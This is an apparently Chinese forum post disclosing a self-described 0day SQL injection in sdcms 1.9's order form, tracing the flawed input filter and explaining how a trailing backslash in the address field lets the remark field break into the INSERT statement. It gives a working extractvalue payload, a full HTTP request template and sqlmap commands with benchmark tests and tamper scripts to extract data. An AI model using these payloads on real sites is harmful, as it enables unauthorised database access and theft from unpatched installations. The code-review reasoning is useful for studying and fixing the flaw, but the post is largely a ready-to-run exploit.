[TOC]

1. 前言

小众cms的0day有啥用,长毛了都,放出来大家一起学习学习吧

上次写的zzzphp到处都是sql注入有下集预告,现在来补下坑

我这个觉得这次的注入还是比较简单的,也是一个比较经典的问题:不用单引号怎么去注入?或者说,htmlspecialchars($xxxx,ENT_QUOTES,'UTF-8')了,单引号实体化了,怎么去注入?

一般首先会想到的是数字型注入,根本就不需要单引号……

如果必须闭合单引号呢?这里还有一种方法,稍微有些限制,就是如果有两个参数可控的话,用反斜杠\吃掉第一个参数的反单引号,让第一个参数的正单引号和第二个参数的正单引号闭合,然后直接操作第二个参数即可。这次这个sdcms的注入就是这么个情况。

2. 代码分析

2.1 程序了解

由于根本没学过开发,看到什么control class lib啥的就头痛,很多时候都不知道访问什么url才能执行到这个地方来……

但是sdcms还好,我记得还是今年四月份左右找的这个注入,当时审了一会,没有想象中那么复杂。所以现在大半年过去了,写这个文章前,很快找到了这个注入

cms安装好后,好像是没有测试数据的,前台也啥都没有,url也是我最讨厌的?c=xxx&a=xxx这种形式的。所以我先习惯性的在前台找到留言板,看下url,然后随便提交个留言,看下url。然后就发现url就是127.0.0.1/sdcms1.9/?m=book

好吧,就一个m=book,然后根据经验全局搜索function book(,运气很好找到了,在app\home\controller\othercontroller.php的126行左右

#留言
    public function book()
    {
        if(IS_POST)
        {
            $userip=getip();
            #获取IP用户上次留言时间
            $rs=$this->db->row("select createdate from sd_book where postip='$userip' order by id desc limit 1");
            if($rs)
            {
                #默认1分钟
                if((time()-$rs['createdate'])/60<1)
                {
                    $this->error('留言提交太频繁');
                    return;
                }
            }
            if(F('mobile')==''&&F('tel')=='')
            {
                $this->error('请至少填写一种联系方式');
                return;
            }
            if(F('mobile')!='')
            {
                if(!sdcms_verify::check(F('mobile'),'mobile',''))
                {
                    $this->error('手机号码不正确');
                    return;
                }
            }
            if(F('tel')!='')
            {
                if(!sdcms_verify::check(F('tel'),'tel',''))
                {
                    $this->error('电话号码不正确');
                    return;
                }
            }
            $data=[[F('truename'),'null','姓名不能为空'],[F('remark'),'null','留言内容不能为空']];
            $v=new sdcms_verify($data);
            if($v->result())
            {
                $d['truename']=F('truename');
                $d['mobile']=F('mobile');
                $d['tel']=F('tel');
                $d['remark']=F('remark');
                $d['islock']=0;
                $d['ontop']=0;
                $d['reply']='';
                $d['postip']=$userip;
                $d['createdate']=time();
                $this->db->add('sd_book',$d);
                $this->success('提交成功');

                #处理邮件
                if(!isempty(C('mail_admin')))
                {
                    #获取邮件模板
                    $mail=$this->mail_temp(0,'book',$this->db);
                    if(count($mail)>0)
                    {
                        $title=$mail['mail_title'];
                        $title=str_replace('$webname',C('web_name'),$title);
                        $title=str_replace('$weburl',WEB_URL,$title);
                        $content=$mail['mail_content'];
                        $content=str_replace('$webname',C('web_name'),$content);
                        $content=str_replace('$weburl',WEB_URL,$content);
                        $content=str_replace('$name',F('truename'),$content);
                        $content=str_replace('$mobile',F('mobile'),$content);
                        $content=str_replace('$tel',F('tel'),$content);
                        $content=str_replace('$remark',F('remark'),$content);
                        #发邮件
                        send_mail(C('mail_admin'),$title,$content);
                    }
                }
            }
            else
            {
                $this->error($v->msg);
            }
        }
        else
        {
            $this->display(T('book'));
        }
    }

贴这个代码我只是想说我关注了两个东西,一个是他通过函数F来获取参数,另一个就是db->add来往数据库里插入数据

跟踪函数F,在/app/function.php的73行左右:

#F函数(get和post)
function F($a,$b='')
{
    $a=strtolower($a);
    if(!strpos($a,'.'))
    {
        $method='other';
    }
    else
    {
        list($method,$a)=explode('.',$a,2);
    }
    switch ($method)
    {
        case 'get':
            $input=$_GET;
            break;
        case 'post':
            $input=$_POST;
            break;
        case 'other':
            switch (REQUEST_METHOD)
            {
                case 'GET':
                    $input=$_GET;
                    break;
                case 'POST':
                    $input=$_POST;
                    break;
                default:
                    return '';
                    break;
            }
            break;
        default:
            return '';
            break;
    }
    $data=isset($input[$a])?$input[$a]:$b;
    if(is_string($data))
    {
        $data=enhtml(trim($data));
    }
    return $data;
}

这函数大体上没搞事情,就是获取参数,中间调用了个enhtml,感觉这个函数是搞事情的

enhtml在/app/function.php的374行左右:

function enhtml($a)
{
    if(is_array($a))
    {
        foreach ($a as $key=>$val)
        {
            $a[$key]=enhtml($val);
        }
    }
    else
    {
        $a=htmlspecialchars(filterExp(stripslashes($a)),ENT_QUOTES,'UTF-8');
        $a=str_replace('&amp;','&',$a);
        return $a;
    }
}

先filterExp处理了下,然后给htmlspecialchars了

函数filterExp在/app/function.php的408行左右:

function filterExp($a)
{
    return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|\'|\\|\.\.\/|\.\/|load_file|outfile/i',$a))?'':$a;
}

看到这个写法我确实是一脸懵逼的,过滤关键字没错,可你正则匹配select时加个^来匹配开头是啥意思???

然后,php中的反斜杠是这样匹配吗???(我一开始也没注意,以为是过滤了反斜杠,然后在echo F('xx')测试F函数的时侯,发现传反斜杠时,输出了,没过滤,仔细一看才发现问题……)

我就感觉sleep过滤了有点用,不能用sleep延迟,update过滤了也有点用,不能用updatexml报错注,其他好像没什么影响,哦,对了,也过滤了单引号

所以,综上,通过函数F获取参数的话,过滤了关键字sleep、update、单引号等,并且htmlspecialchars($xxx,ENT_QUOTES,'UTF-8')了。

2.2 开始找注入

首先肯定是找数字型注入,在前台简单找了几分钟,没找着,因为我感觉不会有这么低级的错误。(我印象中后台好像有参数直接拼接到等于号后面,也没用单引号把参数包起来)

然后直接找前台的insert操作吧,一般这种肯定会有两个参数及以上可控,用反斜线转义第一个反单引号

肯定还是先看留言板操作,上面已经粘出代码了。这里给出重要截图:

truename,完全可控
mobile,不完全可控,149行左右:if(!sdcms_verify::check(F('mobile'),'mobile','')),要满足手机号格式
tel,同上
remark,完全可控
userip,可通过XFF改,但也是要满足格式的

所以这里有是有两个可控参数,但是,,没有挨着。

什么叫挨着?就是这两个可控参数挨在一起,比如说:
INSERT INTO A(name,ip,content,time) VALUES ('aaa','127.0.0.1','bbb',now());
name、content可控
如果name传aaa\,那么,sql语句:
INSERT INTO A(name,ip,content,time) VALUES ('aaa\','127.0.0.1','bbb',now());
name的单引号和ip的正单引号闭合了,后面的127.0.0.1啥的咋办,不管你怎么写第二个可控参数,语法就是错的
(如果这里有哪位师傅能够构造出正确的sql语句,请指教)

所以说,两个可控参数挨在一起才能形成一个可利用的注入点

然后全局搜索关键字db->add(,有很多,,不过我运气挺好的,挑的第一个分析就有了……

还是在提交留言的这个页面,app\home\controller\othercontroller.php的283行左右有个函数order,里面有个插入操作$this->db->add('sd_order',$d);

#订单
    public function order()
    {
        if(IS_POST)
        {
            $id=getint(F("get.id"),0);
            $userip=getip();
            $userid=USER_ID;
            if(C('web_order_login')==1)
            {
                if($userid==0)
                {
                    $this->error('请先登录或注册');
                    return;
                }
            }
            #获取IP用户上次提交时间
            $rs=$this->db->row("select createdate from sd_order where postip='$userip' and userid=$userid order by id desc limit 1");
            if($rs)
            {
                #默认1分钟
                if((time()-$rs['createdate'])/60<1)
                {
                    $this->error('提交太频繁');
                    return;
                }
            }
            $rs=$this->db->row("select title,price from sd_model_pro left join sd_content on sd_model_pro.cid=sd_content.id where islock=1 and id=$id limit 1");
            if(!$rs)
            {
                $this->error('参数错误');
            }
            else
            {
                $proname=enhtml($rs['title']);
                $price=$rs['price'];
                $data=[[F('truename'),'null','姓名不能为空'],[F('mobile'),'mobile','手机号码不正确'],[F('pronum'),'int','订购数量不能为空'],[(getint(F('pronum'),0)!=0),'other','订购数量不能为空'],[F('address'),'null','收货地址不能为空']];
                $v=new sdcms_verify($data);
                if($v->result())
                {
                    $orderid=date('YmdHis').mt_rand(0,9);
                    $d['pro_name']=$proname;
                    $d['pro_num']=getint(F('pronum'),0);
                    $d['pro_price']=getint(F('pronum'),0)*$price;
                    $d['orderid']=$orderid;
                    $d['truename']=F('truename');
                    $d['mobile']=F('mobile');
                    $d['address']=F('address');
                    $d['remark']=F('remark');
                    $d['ispay']=0;
                    $d['isover']=0;
                    $d['createdate']=time();
                    $d['postip']=$userip;
                    $d['userid']=$userid;
                    $this->db->add('sd_order',$d);
                    $this->success(U('other/ordershow','orderid='.$orderid.''));

                    #处理邮件
                    if(!isempty(C('mail_admin')))
                    {
                        #获取邮件模板
                        $mail=parent::mail_temp(0,'order');
                        if(count($mail)>0)
                        {
                            $title=$mail['mail_title'];
                            $title=str_replace('$webname',C('web_name'),$title);
                            $title=str_replace('$weburl',WEB_URL,$title);
                            $content=$mail['mail_content'];
                            $content=str_replace('$webname',C('web_name'),$content);
                            $content=str_replace('$weburl',WEB_URL,$content);
                            $content=str_replace('$orderid',$orderid,$content);
                            $content=str_replace('$proname',$proname,$content);
                            $content=str_replace('$num',getint(F('pronum'),0),$content);
                            $content=str_replace('$money',getint(F('pronum'),0)*$price,$content);
                            $content=str_replace('$name',F('truename'),$content);
                            $content=str_replace('$mobile',F('mobile'),$content);
                            $content=str_replace('$address',F('address'),$content);
                            $content=str_replace('$remark',F('remark'),$content);
                            #发邮件
                            send_mail(C('mail_admin'),$title,$content);
                        }
                    }
                }
                else
                {
                    $this->error($v->msg);
                }
            }
        }
    }

代码很长,,关注两处地方即可
第一处:

貌似需要登录,并且要满足这个查询有结果

第二处:

这个地方很明显了,有两个挨着一起的完全可控参数address和remark

所以第一处该怎么满足?

首先他判断了C('web_order_login')=1才需要登录,默认情况下,C('web_order_login')是等于0的
如果管理员设置了需要登录的话,注册个用户就好了,默认就是可以注册的
其他他这个就是个商品的下单操作,下单时,必须得有商品,只要有商品,就能满足那个sql查询,成功进入到下单插数据库的操作

自己测试时,搭建这个cms是没有任何数据的,所以也不存在商品,所以是无法进入到这个触发注入的那块代码的

所以先登后台,添加一个商品:

然后就ok了,在前台找到该商品,我这里是127.0.0.1/sdcms1.9/?c=index&a=show&id=1

然后点我要订购,填好数据抓包即可,我这里用户名填的aaa\,看看是否会触发报错

日志在app\lib\log目录下,以时间戳命名的,我这里是2019-12-23-18-14-37.txt,应该就是23号18点14分37秒
报错内容为:

Sql:insert into sd_order (`pro_name`,`pro_num`,`pro_price`,`orderid`,`truename`,`mobile`,`address`,`remark`,`ispay`,`isover`,`createdate`,`postip`,`userid`) values ('家电1111111','1','123','201912231814373','aaa\','18888888888','address','qqqqqqqqqqqqqqqq','0','0','1577096077','127.0.0.1','0')<br>日期:2019-12-23 18:14:37<br>详细:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '18888888888','address','qqqqqqqqqqqqqqqq','0','0','1577096077','127.0.0.1','0')' at line 1<br>Url:/sdcms1.9/?c=other&a=order&id=1<br>IP:127.0.0.1

所以直接开始构造注入语句了,用extractvalue报错注吧

其他参数正常随便传,
address传aa\
remark传,1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)#


3. 艰难的sqlmap出数据

考虑直接使用延时注入吧,毕竟他的报错不回显,在日志里面,还得根据时间跑一下他的日志文件名称,虽然也不是很难

首先肯定是用-r的方式来注入,然后把sqlmap要跑的地方用*代替,数据包如下

POST /sdcms1.9/?c=other&a=order&id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/sdcms1.9/?c=index&a=show&id=1
Content-Length: 128
Cookie: 
X-Forwarded-For: 127.0.0.1
Connection: close

truename=aaa&mobile=18888888888&pronum=1&address=aa\&remark=,1 *,1,1,1,1,1)#

然后sqlmap.py -r ../1.txt --dbms=mysql --technique=T

不出所料,肯定是找不到注入的。Why?sqlmap的时间盲注,他会直接先把sleep往上整,但是sleep过滤了,当然跑不出注入

这里要benchmark注,虽然我感觉sqlmap肯定也会有benchmark的payload,但是一开始sqlmap就会先sleep,没有的话那就没有了,怎么办……

查了下sqlmap的文档,sqlmap.py -hh,有那么个东西:
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)

这个好像是说可以自己选择payload,所以我就:
sqlmap.py -r ../1.txt --dbms=mysql --technique=T --test-filter=benchmark

如图,成功判断出注入点了,但是注意带还是有个小问题,竟然没有出数据库版本
所以我怀疑,能出数据吗?

跑一下当前用户:
sqlmap.py -r ../1.txt --dbms=mysql --technique=T --test-filter=benchmark --current-user

果不其然,啥返回也没有

然后我加上了-v 3查看了一下payload是啥情况:
sqlmap.py -r ../1.txt --dbms=mysql --technique=T --test-filter=benchmark --current-user -v 3

看到这我好像就明白了,他用了大于号小于号,而传入的参数都被htmlspecialchars了,所以当然跑不出数据

这个问题就直接考虑tamper了,自己不会写高大上的tamper,难道还不会查吗,而且我印象中sqlmap自带的是有可以替换大于小于号的tamper……

然后查到了

这下问题应该就直接解决了
sqlmap.py -r ../1.txt --dbms=mysql --technique=T --test-filter=benchmark --current-user -v 3 --tamper=between,greatest

4. 下集预告

接下来准备看看这个sdcms后台有没有getshell的方法,找不到就算了
找不到的话,然后接下来的打算是搞一搞UsualToolCMS最新版的,好像这个cms洞挺多的,看看能不能挖到新的
既然写了下集预告,这个坑肯定会填上的
欢迎各位师傅交流

点击收藏 | 0 关注 | 1
登录 后跟帖